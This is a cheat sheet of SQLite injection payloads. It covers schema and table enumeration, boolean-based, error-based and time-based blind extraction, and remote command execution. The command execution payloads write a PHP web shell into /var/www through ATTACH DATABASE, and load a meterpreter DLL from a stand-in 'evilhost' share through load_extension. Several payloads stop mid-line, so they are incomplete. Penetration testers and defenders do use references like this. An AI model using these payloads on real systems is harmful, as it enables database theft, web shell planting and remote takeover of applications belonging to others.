SQLite Injection

Summary

- SQLite comments
- SQLite version
- String based - Extract database structure
- Integer/String based - Extract table name
- Integer/String based - Extract column name
- Boolean - Count number of tables
- Boolean - Enumerating table name
- Boolean - Extract info
- Boolean - Error based
- Time based
- Remote Command Execution using SQLite command - Attach Database
- Remote Command Execution using SQLite command - Load_extension
- References

SQLite comments

```
--
/**/
```

SQLite version

```
select sqlite_version();
```

String based - Extract database structure

```
SELECT sql FROM sqlite_schema
```

Integer/String based - Extract table name

```
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```

Use limit X+1 offset X, to extract all tables.

Integer/String based - Extract column name

```
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
```

For a clean output

```
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr(
```

Boolean - Count number of tables

```
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```

Boolean - Enumerating table name

```
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_leng
```

Boolean - Extract info

```
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex(
```

Boolean - Extract info (order by)

```
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex
```

Boolean - Error based

```
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
```

Time based

```
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```

Remote Command Execution using SQLite command - Attach Database

```
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
```

Remote Command Execution using SQLite command - Load_extension

```
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```

Note: By default this component is disabled

References

Injecting SQLite database based application - Manish Kishan Tanwar SQLite Error Based Injection for Enumeration